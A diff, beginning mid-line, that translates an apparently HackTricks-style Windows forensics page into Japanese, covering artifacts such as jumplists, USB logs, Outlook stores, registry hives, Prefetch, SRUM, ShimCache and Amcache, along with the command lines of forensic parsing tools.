[**LinkParser**](http://4discovery.com/our-tools/). +これらのファイルを検査するには、[**LinkParser**](http://4discovery.com/our-tools/)を使用できます。 -In this tools you will find **2 sets** of timestamps: +このツールでは、**2セット**のタイムスタンプが見つかります: -- **First Set:** - 1. FileModifiedDate - 2. FileAccessDate - 3. FileCreationDate -- **Second Set:** - 1. LinkModifiedDate - 2. LinkAccessDate - 3. LinkCreationDate. +- **最初のセット:** +1. FileModifiedDate +2. FileAccessDate +3. FileCreationDate +- **2番目のセット:** +1. LinkModifiedDate +2. LinkAccessDate +3. LinkCreationDate. -The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**. - -You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) +最初のセットのタイムスタンプは**ファイル自体のタイムスタンプ**を参照します。2番目のセットは**リンクされたファイルのタイムスタンプ**を参照します。 +同じ情報は、Windows CLIツール[**LECmd.exe**](https://github.com/EricZimmerman/LECmd)を実行することで取得できます。 ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` +この場合、情報はCSVファイルに保存されます。 -In this case, the information is going to be saved inside a CSV file. +### ジャンプリスト -### Jumplists +これは、アプリケーションごとに示される最近のファイルです。各アプリケーションでアクセスできる**アプリケーションによって使用された最近のファイルのリスト**です。これらは**自動的に作成されるか、カスタム**で作成されることがあります。 -These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**. +自動的に作成された**ジャンプリスト**は、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`に保存されます。ジャンプリストは、最初のIDがアプリケーションのIDである`{id}.autmaticDestinations-ms`という形式で命名されます。 -The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application. +カスタムジャンプリストは、`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`に保存され、通常はファイルに**重要な**ことが起こったためにアプリケーションによって作成されます(お気に入りとしてマークされているかもしれません)。 -The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite) +任意のジャンプリストの**作成時間**は、**ファイルが最初にアクセスされた時間**を示し、**修正時間は最後にアクセスされた時間**を示します。 -The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**. - -You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +ジャンプリストは[**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md)を使用して調査できます。 ![](<../../../images/image (474).png>) -(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) +(_JumplistExplorerによって提供されるタイムスタンプは、ジャンプリストファイル自体に関連しています_) -### Shellbags +### シェルバッグ -[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**このリンクをフォローしてシェルバッグについて学んでください。**](interesting-windows-registry-keys.md#shellbags) -## Use of Windows USBs +## Windows USBの使用 -It's possible to identify that a USB device was used thanks to the creation of: +USBデバイスが使用されたことを特定することは、以下の作成によって可能です: - Windows Recent Folder - Microsoft Office Recent Folder -- Jumplists +- ジャンプリスト -Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder: +一部のLNKファイルは、元のパスを指すのではなく、WPDNSEフォルダーを指しています: ![](<../../../images/image (476).png>) -The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. +WPDNSEフォルダー内のファイルは元のファイルのコピーであり、PCの再起動では生き残らず、GUIDはシェルバッグから取得されます。 -### Registry Information +### レジストリ情報 -[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices. +[このページをチェックして](interesting-windows-registry-keys.md#usb-information) USB接続デバイスに関する興味深い情報を含むレジストリキーを学んでください。 ### setupapi -Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). +USB接続が行われた時刻に関するタイムスタンプを取得するには、`C:\Windows\inf\setupapi.dev.log`ファイルを確認してください(`Section start`を検索)。 ![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) -### USB Detective +### USBディテクティブ -[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. +[**USBDetective**](https://usbdetective.com)を使用して、画像に接続されたUSBデバイスに関する情報を取得できます。 ![](<../../../images/image (483).png>) -### Plug and Play Cleanup +### プラグアンドプレイのクリーンアップ -The scheduled task known as 'Plug and Play Cleanup' is primarily designed for the removal of outdated driver versions. Contrary to its specified purpose of retaining the latest driver package version, online sources suggest it also targets drivers that have been inactive for 30 days. Consequently, drivers for removable devices not connected in the past 30 days may be subject to deletion. +「プラグアンドプレイのクリーンアップ」として知られるスケジュールされたタスクは、主に古いドライバーバージョンの削除を目的としています。最新のドライバーパッケージバージョンを保持するという指定された目的とは対照的に、オンラインソースは、30日間非アクティブなドライバーも対象にしていることを示唆しています。したがって、過去30日間接続されていないリムーバブルデバイスのドライバーは削除される可能性があります。 -The task is located at the following path: -`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. +タスクは次のパスにあります: +`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`。 -A screenshot depicting the task's content is provided: +タスクの内容を示すスクリーンショットは次のとおりです: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -**Key Components and Settings of the Task:** +**タスクの主要コンポーネントと設定:** -- **pnpclean.dll**: This DLL is responsible for the actual cleanup process. -- **UseUnifiedSchedulingEngine**: Set to `TRUE`, indicating the use of the generic task scheduling engine. -- **MaintenanceSettings**: - - **Period ('P1M')**: Directs the Task Scheduler to initiate the cleanup task monthly during regular Automatic maintenance. - - **Deadline ('P2M')**: Instructs the Task Scheduler, if the task fails for two consecutive months, to execute the task during emergency Automatic maintenance. +- **pnpclean.dll**:このDLLは実際のクリーンアッププロセスを担当します。 +- **UseUnifiedSchedulingEngine**:`TRUE`に設定されており、一般的なタスクスケジューリングエンジンの使用を示します。 +- **MaintenanceSettings**: +- **Period ('P1M')**:タスクスケジューラに、定期的な自動メンテナンス中に毎月クリーンアップタスクを開始するよう指示します。 +- **Deadline ('P2M')**:タスクスケジューラに、タスクが2か月連続して失敗した場合、緊急自動メンテナンス中にタスクを実行するよう指示します。 -This configuration ensures regular maintenance and cleanup of drivers, with provisions for reattempting the task in case of consecutive failures. +この構成により、ドライバーの定期的なメンテナンスとクリーンアップが確保され、連続して失敗した場合のタスクの再試行が可能になります。 -**For more information check:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) +**詳細については、次を確認してください:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) -## Emails +## メール -Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: +メールには**2つの興味深い部分があります:メールのヘッダーと内容**。**ヘッダー**には次のような情報が含まれています: -- **Who** sent the emails (email address, IP, mail servers that have redirected the email) -- **When** was the email sent +- **誰が**メールを送信したか(メールアドレス、IP、メールサーバーがリダイレクトしたメール) +- **いつ**メールが送信されたか -Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages: +また、`References`および`In-Reply-To`ヘッダー内にはメッセージのIDが含まれています: ![](<../../../images/image (484).png>) -### Windows Mail App +### Windowsメールアプリ -This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension. +このアプリケーションは、メールをHTMLまたはテキストで保存します。メールは、`\Users\\AppData\Local\Comms\Unistore\data\3\`内のサブフォルダーにあります。メールは`.dat`拡張子で保存されます。 -The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +メールの**メタデータ**と**連絡先**は、**EDBデータベース**内にあります:`\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it. Inside the `Message` table you can see the emails. +ファイルの拡張子を`.vol`から`.edb`に変更すると、[ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html)ツールを使用して開くことができます。`Message`テーブル内でメールを見ることができます。 ### Microsoft Outlook -When Exchange servers or Outlook clients are used there are going to be some MAPI headers: +ExchangeサーバーまたはOutlookクライアントが使用されると、いくつかのMAPIヘッダーが存在します: -- `Mapi-Client-Submit-Time`: Time of the system when the email was sent -- `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread -- `Mapi-Entry-ID`: Message identifier. -- `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?) +- `Mapi-Client-Submit-Time`:メールが送信されたときのシステムの時間 +- `Mapi-Conversation-Index`:スレッドの子メッセージの数と各メッセージのタイムスタンプ +- `Mapi-Entry-ID`:メッセージ識別子。 +- `Mappi-Message-Flags`および`Pr_last_Verb-Executed`:MAPIクライアントに関する情報(メッセージは読まれたか?未読か?応答されたか?リダイレクトされたか?不在か?) -In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in: +Microsoft Outlookクライアントでは、送信/受信されたすべてのメッセージ、連絡先データ、およびカレンダーデータは、次の場所にあるPSTファイルに保存されます: -- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) +- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook`(WinXP) - `%USERPROFILE%\AppData\Local\Microsoft\Outlook` -The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used. +レジストリパス`HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`は、使用されているファイルを示しています。 -You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). +PSTファイルは、[**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html)ツールを使用して開くことができます。 ![](<../../../images/image (485).png>) -### Microsoft Outlook OST Files +### Microsoft Outlook OSTファイル -An **OST file** is generated by Microsoft Outlook when it's configured with **IMAP** or an **Exchange** server, storing similar information to a PST file. This file is synchronized with the server, retaining data for **the last 12 months** up to a **maximum size of 50GB**, and is located in the same directory as the PST file. To view an OST file, the [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) can be utilized. +**OSTファイル**は、Microsoft Outlookが**IMAP**または**Exchange**サーバーで構成されているときに生成され、PSTファイルと同様の情報を保存します。このファイルはサーバーと同期され、**過去12か月間**のデータを保持し、**最大サイズは50GB**で、PSTファイルと同じディレクトリにあります。OSTファイルを表示するには、[**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)を利用できます。 -### Retrieving Attachments +### 添付ファイルの取得 -Lost attachments might be recoverable from: +失われた添付ファイルは、次の場所から回復できるかもしれません: -- For **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- For **IE11 and above**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +- **IE10**の場合:`%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` +- **IE11以降**の場合:`%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -### Thunderbird MBOX Files +### Thunderbird MBOXファイル -**Thunderbird** utilizes **MBOX files** to store data, located at `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. +**Thunderbird**は、データを保存するために**MBOXファイル**を使用し、`Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`にあります。 -### Image Thumbnails +### 画像サムネイル -- **Windows XP and 8-8.1**: Accessing a folder with thumbnails generates a `thumbs.db` file storing image previews, even after deletion. -- **Windows 7/10**: `thumbs.db` is created when accessed over a network via UNC path. -- **Windows Vista and newer**: Thumbnail previews are centralized in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` with files named **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) and [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) are tools for viewing these files. +- **Windows XPおよび8-8.1**:サムネイルを含むフォルダーにアクセスすると、削除後も画像プレビューを保存する`thumbs.db`ファイルが生成されます。 +- **Windows 7/10**:UNCパスを介してネットワーク上でアクセスすると`thumbs.db`が作成されます。 +- **Windows Vista以降**:サムネイルプレビューは`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`に集中管理され、**thumbcache_xxx.db**という名前のファイルが作成されます。[**Thumbsviewer**](https://thumbsviewer.github.io)および[**ThumbCache Viewer**](https://thumbcacheviewer.github.io)は、これらのファイルを表示するためのツールです。 -### Windows Registry Information +### Windowsレジストリ情報 -The Windows Registry, storing extensive system and user activity data, is contained within files in: +Windowsレジストリは、広範なシステムおよびユーザー活動データを保存し、次のファイルに含まれています: -- `%windir%\System32\Config` for various `HKEY_LOCAL_MACHINE` subkeys. -- `%UserProfile%{User}\NTUSER.DAT` for `HKEY_CURRENT_USER`. -- Windows Vista and later versions back up `HKEY_LOCAL_MACHINE` registry files in `%Windir%\System32\Config\RegBack\`. -- Additionally, program execution information is stored in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` from Windows Vista and Windows 2008 Server onwards. +- `%windir%\System32\Config`は、さまざまな`HKEY_LOCAL_MACHINE`サブキー用です。 +- `%UserProfile%{User}\NTUSER.DAT`は、`HKEY_CURRENT_USER`用です。 +- Windows Vista以降のバージョンでは、`HKEY_LOCAL_MACHINE`レジストリファイルが`%Windir%\System32\Config\RegBack\`にバックアップされます。 +- さらに、プログラム実行情報は、Windows VistaおよびWindows 2008 Server以降の`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`に保存されます。 -### Tools +### ツール -Some tools are useful to analyze the registry files: +レジストリファイルを分析するために役立つツールがいくつかあります: -- **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry. -- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded. +- **レジストリエディタ**:Windowsにインストールされています。現在のセッションのWindowsレジストリをナビゲートするためのGUIです。 +- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md):レジストリファイルをロードし、GUIでナビゲートすることができます。また、興味深い情報を持つキーをハイライトするブックマークも含まれています。 +- [**RegRipper**](https://github.com/keydet89/RegRipper3.0):再び、ロードされたレジストリをナビゲートできるGUIを持ち、ロードされたレジストリ内の興味深い情報をハイライトするプラグインも含まれています。 +- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html):レジストリから重要な情報を抽出できる別のGUIアプリケーションです。 -### Recovering Deleted Element +### 削除された要素の回復 -When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys. +キーが削除されると、そのようにマークされますが、占有しているスペースが必要になるまで削除されません。したがって、**Registry Explorer**のようなツールを使用すると、これらの削除されたキーを回復することが可能です。 -### Last Write Time +### 最終書き込み時間 -Each Key-Value contains a **timestamp** indicating the last time it was modified. +各キー-値には、最後に変更された時間を示す**タイムスタンプ**が含まれています。 ### SAM -The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system. +ファイル/ハイブ**SAM**には、システムの**ユーザー、グループ、およびユーザーパスワード**のハッシュが含まれています。 -In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**. +`SAM\Domains\Account\Users`で、ユーザー名、RID、最終ログイン、最終失敗ログオン、ログインカウンター、パスワードポリシー、およびアカウントが作成された時期を取得できます。**ハッシュ**を取得するには、ファイル/ハイブ**SYSTEM**も**必要**です。 -### Interesting entries in the Windows Registry +### Windowsレジストリの興味深いエントリ {{#ref}} interesting-windows-registry-keys.md {{#endref}} -## Programs Executed +## 実行されたプログラム -### Basic Windows Processes +### 基本的なWindowsプロセス -In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours. +[この投稿](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d)では、疑わしい動作を検出するための一般的なWindowsプロセスについて学ぶことができます。 ### Windows Recent APPs -Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched. +レジストリ`NTUSER.DAT`内のパス`Software\Microsoft\Current Version\Search\RecentApps`には、**実行されたアプリケーション**、**最後に実行された時間**、および**起動された回数**に関する情報を含むサブキーがあります。 -### BAM (Background Activity Moderator) +### BAM(バックグラウンドアクティビティモデレーター) -You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). +レジストリエディタで`SYSTEM`ファイルを開き、パス`SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`内で、**各ユーザーによって実行されたアプリケーション**に関する情報(パス内の`{SID}`に注意)と**実行された時間**を見つけることができます(時間はレジストリのデータ値内にあります)。 -### Windows Prefetch +### Windowsプリフェッチ -Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker. +プリフェッチは、コンピュータがユーザーが**近い将来にアクセスする可能性のあるコンテンツを表示するために必要なリソースを静かに取得する**ことを可能にする技術です。これにより、リソースに迅速にアクセスできるようになります。 -Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10. +Windowsプリフェッチは、**実行されたプログラムのキャッシュを作成**して、より迅速にロードできるようにします。これらのキャッシュは、`C:\Windows\Prefetch`内に`.pf`ファイルとして作成されます。XP/VISTA/WIN7では128ファイル、Win8/Win10では1024ファイルの制限があります。 -The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point. +ファイル名は`{program_name}-{hash}.pf`という形式で作成されます(ハッシュは実行可能ファイルのパスと引数に基づいています)。W10では、これらのファイルは圧縮されています。ファイルの存在は、**プログラムが実行された**ことを示しています。 -The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program. - -To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): +ファイル`C:\Windows\Prefetch\Layout.ini`には、**プリフェッチされたファイルのフォルダーの名前**が含まれています。このファイルには、**実行回数**、**実行日**、および**プログラムによって**開かれた**ファイルに関する情報が含まれています。 +これらのファイルを調査するには、[**PEcmd.exe**](https://github.com/EricZimmerman/PECmd)ツールを使用できます。 ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` - ![](<../../../images/image (487).png>) ### Superprefetch -**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ -This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. +**Superprefetch**は、次に読み込まれるものを予測することによって**プログラムをより速く読み込む**という同じ目的を持っています。しかし、これはプレフェッチサービスの代わりにはなりません。\ +このサービスは、`C:\Windows\Prefetch\Ag*.db`にデータベースファイルを生成します。 -In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**. +これらのデータベースには、**プログラム**の**名前**、**実行回数**、**開かれたファイル**、**アクセスされたボリューム**、**完全なパス**、**時間枠**、および**タイムスタンプ**が含まれています。 -You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +この情報には、ツール[**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/)を使用してアクセスできます。 ### SRUM -**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. +**System Resource Usage Monitor** (SRUM)は、**プロセスによって消費されるリソース**を**監視**します。これはW8で登場し、`C:\Windows\System32\sru\SRUDB.dat`にESEデータベースとしてデータを保存します。 -It gives the following information: +以下の情報を提供します: -- AppID and Path -- User that executed the process -- Sent Bytes -- Received Bytes -- Network Interface -- Connection duration -- Process duration +- AppIDとパス +- プロセスを実行したユーザー +- 送信バイト +- 受信バイト +- ネットワークインターフェース +- 接続の持続時間 +- プロセスの持続時間 -This information is updated every 60 mins. - -You can obtain the date from this file using the tool [**srum_dump**](https://github.com/MarkBaggett/srum-dump). +この情報は60分ごとに更新されます。 +このファイルから日付を取得するには、ツール[**srum_dump**](https://github.com/MarkBaggett/srum-dump)を使用できます。 ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` - ### AppCompatCache (ShimCache) -The **AppCompatCache**, also known as **ShimCache**, forms a part of the **Application Compatibility Database** developed by **Microsoft** to tackle application compatibility issues. This system component records various pieces of file metadata, which include: +**AppCompatCache**、別名 **ShimCache** は、**Microsoft** によって開発された **Application Compatibility Database** の一部であり、アプリケーションの互換性の問題に対処します。このシステムコンポーネントは、以下のファイルメタデータのさまざまな情報を記録します。 -- Full path of the file -- Size of the file -- Last Modified time under **$Standard_Information** (SI) -- Last Updated time of the ShimCache -- Process Execution Flag +- ファイルのフルパス +- ファイルのサイズ +- **$Standard_Information** (SI) の最終変更時間 +- ShimCache の最終更新時間 +- プロセス実行フラグ -Such data is stored within the registry at specific locations based on the version of the operating system: +このデータは、オペレーティングシステムのバージョンに基づいて特定の場所にレジストリ内に保存されます。 -- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries. -- For Server 2003, as well as for Windows versions 2008, 2012, 2016, 7, 8, and 10, the storage path is `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accommodating 512 and 1024 entries, respectively. +- XPの場合、データは `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` に保存され、96エントリの容量があります。 +- Server 2003 および Windows バージョン 2008、2012、2016、7、8、10 の場合、ストレージパスは `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache` であり、それぞれ512および1024エントリを収容します。 -To parse the stored information, the [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) is recommended for use. +保存された情報を解析するには、[**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) の使用が推奨されます。 ![](<../../../images/image (488).png>) ### Amcache -The **Amcache.hve** file is essentially a registry hive that logs details about applications that have been executed on a system. It is typically found at `C:\Windows\AppCompat\Programas\Amcache.hve`. +**Amcache.hve** ファイルは、システム上で実行されたアプリケーションの詳細を記録するレジストリハイブです。通常、`C:\Windows\AppCompat\Programas\Amcache.hve` にあります。 -This file is notable for storing records of recently executed processes, including the paths to the executable files and their SHA1 hashes. This information is invaluable for tracking the activity of applications on a system. - -To extract and analyze the data from **Amcache.hve**, the [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool can be used. The following command is an example of how to use AmcacheParser to parse the contents of the **Amcache.hve** file and output the results in CSV format: +このファイルは、実行されたプロセスの記録を保存することで注目されており、実行可能ファイルへのパスやその SHA1 ハッシュを含みます。この情報は、システム上のアプリケーションの活動を追跡するために非常に貴重です。 +**Amcache.hve** からデータを抽出して分析するには、[**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) ツールを使用できます。以下のコマンドは、AmcacheParser を使用して **Amcache.hve** ファイルの内容を解析し、結果を CSV 形式で出力する方法の例です。 ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` +生成されたCSVファイルの中で、`Amcache_Unassociated file entries`は、未関連ファイルエントリに関する豊富な情報を提供するため、特に注目に値します。 -Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries. - -The most interesting CVS file generated is the `Amcache_Unassociated file entries`. +最も興味深いCVSファイルは、`Amcache_Unassociated file entries`です。 ### RecentFileCache -This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries. +このアーティファクトは、W7の`C:\Windows\AppCompat\Programs\RecentFileCache.bcf`にのみ存在し、いくつかのバイナリの最近の実行に関する情報を含んでいます。 -You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file. +ファイルを解析するには、ツール[**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser)を使用できます。 -### Scheduled tasks +### スケジュールされたタスク -You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML. +これらは`C:\Windows\Tasks`または`C:\Windows\System32\Tasks`から抽出でき、XMLとして読み取ることができます。 -### Services +### サービス -You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when. +これらはレジストリの`SYSTEM\ControlSet001\Services`に見つけることができます。何が実行されるか、いつ実行されるかを見ることができます。 ### **Windows Store** -The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ -This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. +インストールされたアプリケーションは`\ProgramData\Microsoft\Windows\AppRepository\`に見つけることができます。このリポジトリには、データベース**`StateRepository-Machine.srd`**内に**システムにインストールされた各アプリケーション**の**ログ**があります。 -Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential. +このデータベースのアプリケーションテーブル内には、「Application ID」、「PackageNumber」、「Display Name」という列があり、これらの列には、プレインストールされたアプリケーションとインストールされたアプリケーションに関する情報が含まれており、インストールされたアプリケーションのIDは連続しているため、いくつかのアプリケーションがアンインストールされたかどうかを確認できます。 -It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` +インストールされたアプリケーションは、レジストリパス`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`内でも見つけることができます。また、アンインストールされたアプリケーションは、`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`にあります。 -## Windows Events +## Windowsイベント -Information that appears inside Windows events are: +Windowsイベント内に表示される情報は次のとおりです: -- What happened -- Timestamp (UTC + 0) -- Users involved -- Hosts involved (hostname, IP) -- Assets accessed (files, folder, printer, services) +- 何が起こったか +- タイムスタンプ(UTC + 0) +- 関与したユーザー +- 関与したホスト(ホスト名、IP) +- アクセスされた資産(ファイル、フォルダー、プリンター、サービス) -The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension. +ログは、Windows Vista以前では`C:\Windows\System32\config`にあり、Windows Vista以降では`C:\Windows\System32\winevt\Logs`にあります。Windows Vista以前はイベントログはバイナリ形式であり、以降は**XML形式**で**.evtx**拡張子を使用しています。 -The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +イベントファイルの場所は、SYSTEMレジストリの**`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**で見つけることができます。 -They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +これらはWindowsイベントビューア(**`eventvwr.msc`**)または[**Event Log Explorer**](https://eventlogxp.com) **または** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**を使用して視覚化できます。 -## Understanding Windows Security Event Logging +## Windowsセキュリティイベントログの理解 -Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access. 